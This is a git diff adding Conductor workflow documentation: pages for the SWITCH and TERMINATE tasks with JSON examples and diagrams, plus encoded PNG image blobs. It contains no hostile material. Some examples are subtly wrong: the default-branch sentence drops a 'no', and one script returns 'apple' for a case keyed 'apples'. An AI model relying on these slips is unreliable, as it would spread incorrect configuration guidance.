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 G?f(IBSk$@z literal 0 HcmV?d00001 diff --git a/docs/documentation/configuration/workflowdef/operators/switch-task.md b/docs/documentation/configuration/workflowdef/operators/switch-task.md new file mode 100644 index 0000000..b81654f --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/switch-task.md @@ -0,0 +1,198 @@ +--- +description: "Switch Task — conditional branching in Conductor workflows based on task output or workflow input values." +--- +# Switch +```json +"type" : "SWITCH" +``` + +The Switch task (`SWITCH`) is used for conditional branching logic. It represents _if...then...else_ or _switch...case_ statements in programming, which is useful for executing one of many task sequences based on pre-defined conditions. + +At runtime, the Switch task evaluates an expression and matches the expression's output with the name of the switch cases defined in the task configuration. The workflow then executes the tasks in the matching branch. If there is matching branch found, the default branch will be executed. + +The Switch task supports two types of evaluators: + +* `value-param`—A reference to the task input parameter key. +* `javascript`—A complex JavaScript expression. + +## Task parameters + +Use these parameters in top level of the Switch task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| evaluatorType | String (enum) | The type of the evaluator used. Supported types:
    • `value-param`—Evaluates the input parameter referenced in `expression`.
    • `javascript`—Evaluates the JavaScript script in `expression`and computes the value.
    | Required. | +| expression | String | The expression evaluated by the Switch task. The expression format depends on the evaluator type:
    • For `value-param`, the expression should be a parameter key provided in `inputParameters`.
    • `javascript`, the expression should be a JavaScript expression.
    | Required. | +| decisionCases | Map[String, List[task]] | A map of the possible switch cases and their tasks. The keys are the possible values that can result from the evaluation of `expression`, while the values are the lists of task configurations that will be executed. | Required. | +| defaultCase | List[Task] | The default switch case, containing the list of tasks to be executed if no matching switch case is found in `decisionCases`. | Required. | +| inputParameters | Map[String, Any] | The input parameters for the task.

    **Note:** If `evaluatorType` is `value-param`, `inputParameters` must be populated with the key specified in `expression`. | Optional. | + + +## JSON configuration + +Here is the task configuration for a Switch task. + +### Using `value-param` +```json +{ + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "switchCaseValue": "${workflow.input}" + }, + "type": "SWITCH", + "decisionCases": { + "caseName1": [ + { + // task configuration + } + ], + "caseName2": [ + { + // task configuration + }, + { + // task configuration + } + ] + }, + "defaultCase": [ + {// task configuration} + ], + "evaluatorType": "value-param", + "expression": "switchCaseValue" +} +``` + +### Using `javascript` + +```json +{ + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "switchCaseValue": "${workflow.input.num}" + }, + "type": "SWITCH", + "decisionCases": { + "apples": [ + { + // task configuration + } + ], + "tomatoes": [ + { + // task configuration + } + ], + "oranges": [ + { + // task configuration + } + ] + }, + "defaultCase": [], + "evaluatorType": "graaljs", + "expression": "(function () {\n switch ($.switchCaseValue) {\n case \"1\":\n return \"apple\";\n case \"2\":\n return \"tomatoes\";\n case \"3\":\n return \"oranges\"\n }\n }())" +} +``` + + +## Output + +The Switch task will return the following parameters. + +| Name | Type | Description | +| ---------------- | ------------ | ------------------------------------------------------------- | +| evaluationResult | List[String] | A list of values representing the list of cases that matched. | +| selectedCase | String | The evaluation result of the Switch task. | + + +## Examples + +Here are some examples for using the Switch task. + +### Using `value-param` + +In this example workflow, a package with be shipped by a specific shipping provider, based on the given workflow input. Here is the Switch task configuration, using the `value-param` evaluatorType: + +```json +{ + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "switchCaseValue": "${workflow.input.service}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "switchCaseValue", + "defaultCase": [ + { + ... + } + ], + "decisionCases": { + "fedex": [ + { + ... + } + ], + "ups": [ + { + ... + } + ] + } +} +``` + +In the Switch task above, the value of the task input `switchCaseValue` is used to determine the selected case. The evaluator type is `value-param` and the expression is a direct reference to the name of the input parameter. + +If the value of `switchCaseValue` is `fedex`, then the `fedex` branch containing the `ship_via_fedex` task will be executed. Likewise, if the input is `ups`, then the `ship_via_ups` task will be executed. If none of the cases match, then the default path will be executed. + +```mermaid +graph LR + A[Start] --> B{Switch} + B -->|fedex| C[ship_via_fedex] + B -->|ups| D[ship_via_ups] + B -->|default| E[default_handler] + C --> F[End] + D --> F + E --> F +``` + +### Using `javascript` + +In this example, the switch cases are selected using the `javascript` evaluatorType: + +```json +{ + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "shipping": "${workflow.input.service}" + }, + "type": "SWITCH", + "evaluatorType": "javascript", + "expression": "$.shipping == 'fedex' ? 'fedex' : 'ups'", + "defaultCase": [ + { + ... + } + ], + "decisionCases": { + "fedex": [ + { + ... + } + ], + "ups": [ + { + ... + } + ] + } +} +``` + +Inside the task's JavaScript-based expression, the task's input parameter is referenced using "$.shipping". \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/operators/terminate-task.md b/docs/documentation/configuration/workflowdef/operators/terminate-task.md new file mode 100644 index 0000000..ffdb0c6 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/operators/terminate-task.md @@ -0,0 +1,95 @@ +--- +description: "Terminate Task — end a Conductor workflow execution with a specified status and output from any point in the flow." +--- +# Terminate +```json +"type" : "TERMINATE" +``` + +The Terminate task (`TERMINATE`) terminates the current workflow with a termination status and reason, and sets the workflow output with any supplied values. + +Often used in [Switch](switch-task.md) tasks, the Terminate task can act as a return statement for cases where you want the workflow to be terminated without continuing to the subsequent tasks. + +## Task parameters + +Use these parameters inside `inputParameters` in the Terminate task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| terminationStatus | String (enum) | The termination status. Supported types:
    • COMPLETED
    • FAILED
    • TERMINATED
    | Required. | +| terminationReason | String | The reason for terminating the current workflow, which will provide the context of the termination.

    For FAILED workflows, this reason is passed to any configured `failureWorkflow`. | Optional. | +| workflowOutput | Any | The expected workflow output upon termination. | Optional. | + + +## Configuration JSON +Here is the task configuration for a Terminate task. + +```json +{ + "name": "terminate", + "taskReferenceName": "terminate_ref", + "inputParameters": { + "terminationStatus": "TERMINATED", + "terminationReason": "", + "workflowOutput": "${someTask.output}" + }, + "type": "TERMINATE" +} +``` + + +## Output + +The Terminate task will return the following parameters. + +| Name | Type | Description | +| ------ | ---- | --------------------------------------------------------------------------------------------------------- | +| output | Map[String, Any] | A map of the workflow output on termination, as defined in `workflowOutput`. If `workflowOutput` is not set in the Terminate task configuration, the output will be an empty object. | + +## Examples + +Here are some examples for using the Terminate task. + +### Using the Terminate task in a switch case + +In this example workflow, a decision is made to ship with a specific shipping provider based on the provided workflow input. If the provided input does not match the available shipping providers, then the workflow will terminate with a FAILED status. Here is a snippet that shows the default switch case terminating the workflow: + + +```json +{ + "name": "switch_task", + "taskReferenceName": "switch_task", + "type": "SWITCH", + "defaultCase": [ + { + "name": "terminate", + "taskReferenceName": "terminate_ref", + "type": "TERMINATE", + "inputParameters": { + "terminationStatus": "FAILED", + "terminationReason":"Shipping provider not found." + } + } + ] +} +``` + +The workflow flow: + +```mermaid +graph LR + A[Start] --> B{Switch} + B -->|fedex| C[ship_via_fedex] + B -->|ups| D[ship_via_ups] + B -->|default| E[Terminate
    FAILED] + C --> F[End] + D --> F +``` + + +## Best practices + +Here are some best practices for handling workflow termination: + +* Include a termination reason when terminating the workflow with FAILED status, so that it is easy to understand the cause. +2. Include any additional details in the workflow output (e.g., output of the tasks, the selected switch case), to add context to the path taken to termination. diff --git a/docs/documentation/configuration/workflowdef/operators/workflow_fork.png b/docs/documentation/configuration/workflowdef/operators/workflow_fork.png new file mode 100644 index 0000000000000000000000000000000000000000..293b34eced5e1fac8d7468f8d0ed2ee1504663bd GIT binary patch literal 35688 zcmb5VWk6g((KKHK(2vq97-MicEkE0)bGaB*m0KAb52U2)vF623o8_H2OfG zFh(gcVHG#H{XZ}Whzx|#ak+Hy4gm){6W?JTLp|2Mc2>{wFbWQ&4+DX4&7MCHL4FYM zziSP$|MjKA-)3kzPq|mb+CzrReBKE{!<(P{d2u36*&4WPUw-CMe!=3*L#eCR4 zI4FyYz3GZ8p!J$s1A{)1fs9StV|RFxYj}O`-CSJiNWRz9)QE|TTQ9b_-<)ntmoIHs zo44IW!GqpofLK_o=NA@C9*=G>_Nrn_dMT2VlV73{MUT60oW{4`-;{@gLE$=31i#Qz z>Ex$x=8fCiW)IA_AU-d2=esaJZ=CqS-Mx{7Gv*3n0@G-sg+E_`%Y=aa_WP4qOr&LG!byCKii=NA zPh2tqQ&>a-j*JY`w7(>$A=yh}YJDF8kSqYy7^x7N{?t|q-zHI8c z2Rc7yY+4$h>2O+KAI%FiP~Z|6E;F~mX{O4=;VCGciSGy5F#@2>BYrVWNKO( zQ64rPD*QDuuz+r>N2`A4mxKh|gHdkZ$CiC>g9f;J_~$drkNEpn!}<#sFK$ZE>&WkT7nqNDJ)CgwKRLQiB?}nklHMEhmiU>a3N#Wcjy&!Jy;i$8KU? z7c*8$TH5|8=Lq~4cp!m(+L{m;FgqX^Aap15)u+L!8Xvbl$KTrpsDSx4&;`Dx#wP946~=`_L`M_?+@t(f!>cgf!sVj zmztbErgAyhI@l{B$pc=J83MYV)ALo3)+|%AUPXBE!pHl)bMhFWo`h>+O`cCAx zyT%J+PxOkv-7U48Bj>SxdG9UZGR9Nb8r zZ6~P*u+P2ST{Bo)TbrWd7$5qxu4FoAM;q)`M9SD3-OutfG6bU#p50a1?Phi3@?fs^ 